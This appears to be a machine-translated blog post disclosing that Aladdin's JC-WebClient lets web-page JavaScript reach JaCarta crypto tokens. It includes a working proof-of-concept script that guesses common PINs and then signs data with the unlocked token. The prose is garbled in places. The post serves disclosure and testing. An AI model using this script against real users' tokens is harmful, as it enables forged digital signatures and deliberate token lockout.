Tester JaCarta WebClient ou stocker des jetons dans un coffre-fort

"Quand le couvercle noir a été emporté pendant un moment, Margarita s'est retournée et a vu qu'il n'y avait pas seulement des tours multicolores avec un avion qui se déployait au-dessus d'eux, mais qu'il n'y avait pas de ville elle-même qui était entrée dans le sol et n'avait laissé que du brouillard."

M.A. Boulgakov
"Maître et Marguerite"

Bonjour, Habr! Presque toutes les organisations russes ont probablement ces produits dans une coloration multicolore joyeuse. Nous parlons de produits et de logiciels JaCarta pour eux. Un tel bonheur m'est tombé aussi, et j'ai décidé d'étendre légèrement la couverture noire en cachant leur essence, ou API. Certaines banques, en particulier en émettant des tokens JaCarta GOST-2 à leurs clients, nécessitent l'installation de l'application JC-WebClient d'Aladdin R.D. pour fonctionner.

Bien qu'il n'y ait pas de nouvelle distribution sur le site officiel du développeur (dans la section Démo, vous pouvez télécharger une version plus ancienne, mais elle utilise l'API obsolète), la distribution peut être trouvée en utilisant Google sur la ligne "JC-WebClient-4.0.0.1186" sur les sites du RB.

Après avoir installé l'application sur l'ordinateur de l'utilisateur, le port 24738 s'ouvre sur lequel ce client fonctionne.

https://localhost:24738/JCWebClient.js

Le site Web du développeur décrit ouvertement et en détail l'API de cette application (ainsi que les fonctions de travail avec le système de fichiers de toute la ligne de jetons de ce fabricant via jcFS.dll, qui fait partie du package d'installation "JaCarta Single Client") et la conclusion est qu'en utilisant un certain nombre de fonctions, vous pouvez soit signer la signature numérique du jeton avec quoi que ce soit, récupérer un code PIN ou bloquer le jeton en cas de tentatives infructueuses pour le saisir. Et tout cela à distance via Internet.

Ce n'est un secret pour personne que les utilisateurs laissent souvent le code PIN par défaut pour le jeton, ou celui avec lequel ils l'ont reçu (ils ont généralement peur qu'en changeant le code PIN, tout cesse de fonctionner).

Le plus souvent, des codes PIN de type 123456 sont utilisés et le jeton est inséré dans le port de l'ordinateur ou le concentrateur USB pendant la journée de travail, voire 24 heures sur 24.

Grâce à JC-WebClient, si vous glissez une page Web ou un e-mail avec un simple code JavaScript à un tel utilisateur, vous pouvez, bien que ne pas obtenir les clés de jeton (dans certains cas, cela n'est possible qu'en accédant directement au système de fichiers de jeton, un exemple a déjà été donné ), mais essayez prenez un code PIN et signez toutes les données et envoyez-les quelque part.

En cas de 10 tentatives d'itération infructueuses, le jeton est bloqué, et à quelle fréquence cela se produit, si le code administrateur pour le déverrouillage n'est pas défini, alors seule l'initialisation aidera. Et ce n'est pas payé sur les impôts sur le temps (et en raison des intérêts et même du blocage du compte fiscal de l'organisation de la taxe), les forfaits des fournisseurs, en général, le bien ne suffit pas.



Le problème d'énumération du code PIN pourrait être résolu soit en permettant de le saisir uniquement via la fenêtre d'interface JC-WebClient, soit en demi-mesure, par exemple, en cas de 3 tentatives infructueuses pour le saisir, bloquer une autorisation supplémentaire en affichant un message à l'utilisateur et attendre jusqu'à ce qu'il confirmera vos actions.

J'ai écrit un petit script de test qui montre cette vulnérabilité. Le script fonctionne sur tous les navigateurs modernes et relativement modernes, même IE :)

Naturellement, il n'envoie rien, mais affiche simplement les résultats d'une séquence de fonctions.

Le script implémente une énumération complète de 10 tentatives pour entrer le code PIN «pour tuer» le jeton, vous pouvez donc exécuter le script uniquement avec un jeton de test!

Il convient également de se rappeler que l'utilisation de ce script autrement que sur votre propre jeton de test est une violation de la loi.

Résultat du test:


Le script génère une paire de clés et un certificat à l'aide de JC-WebClient pour les tests.
Vous pouvez utiliser EToken PRO Java 72 K, JaCarta GOST, JaCarta GOST-2. Le jeton doit être pré-initialisé avec le code PIN utilisateur 111111.

Avant de commencer les tests, vous devez installer JC-WebClient version 4 ou ultérieure.

 // JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient   "+" "); //  JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(" JCWebClient2 " + vers +" "); //         var slots = JCWebClient2.getAllSlots(); document.write(" : "+slots.length+" "); //   for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write(": "+slot.device.name+" "+slot.device.model+" "); } var tokenID = slot.id, //   userPin = '111111'; // PIN-  //       // (  JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('1) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //  PIN- JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: userPin } }); //    // (  JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('2) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //          var keyPairID = JCWebClient2.createKeyPair({ args: { paramSet: "XA", description: "my description", algorithm: JCWebClient2.Vars.KeyAlgorithm.GOST_2012_256 } }); //     (Distinguished Name (DN)), //    (Common Name, (CN)) var dn = { 'CN': '123', 'C': 'RU' }; //  ,      var exts = { 'keyUsage': 'Digital Signature' }; //   var contID = JCWebClient2.generateUserSelfSignedCertificate({ args: { keyPairID: keyPairID, dn: dn, exts: exts, days: 365 } }); //    var list=[]; //   list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); // id      var data = list[0]; var contID = data.id; document.write("ID : "+data.id+" "); document.write(" : "+data.description+" "); document.write(" : "+data.algorithm+" "); //   PIN- JCWebClient2.unbindToken(); 

Et en fait, le script d'audit de sécurité lui-même:

 // JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient   "+" "); //  JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(" JCWebClient2 " + vers +" "); //         var slots = JCWebClient2.getAllSlots(); document.write(" : "+slots.length+" "); //   for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write(": "+slot.device.name+" "+slot.device.model+" "); } //   var tokenID = slot.id; //       // (  JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //    var list=[]; //   list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); // id     var data = list[0]; var contID = data.id; document.write("ID : "+data.id+" "); document.write(" : "+data.description+" "); document.write(" : "+data.algorithm+" "); //    (Hello World  Base64) var dataToSign = 'SGVsbG8sIFdvcmxkIQ=='; document.write("  : "+dataToSign+" "); //   var pin=["1234567890", "123456", "1234567", "12345678", "123456789", "0987654321", "111111", "qwerty", "012345", "0123456", "01234567"]; //  function bind(pass) { JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: pass } }); } var i=0; //     //!  10    !!!!!!!!!! while (i < 10) { i++; try{ bind(pin[i]); tokenState = JCWebClient2.getLoggedInState(); //  ,      if(tokenState.state=1) { document.write("   : "+pin[i]+" "); break; } } //    catch(e){document.write(e+" ");} } //    // (  JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //   var CertificateBody=JCWebClient2.getCertificateBody({ args: { id: contID } }); document.write("CertificateBody: "+CertificateBody+" "); //  ,        Base64 var signedData = JCWebClient2.signBase64EncodedData({ args: { contID: contID, data: dataToSign, attachedSignature: true } }); document.write(" . "); document.write(" : "+signedData+" "); //  var signature = signedData; var res = JCWebClient2.verifyBase64EncodedData({ args: { signature: signature } }); document.write("  : "+res+" "); //   PIN- JCWebClient2.unbindToken(); 

Source d'information de l'API JC-WebClient

Source: https://habr.com/ru/post/fr439790/


All Articles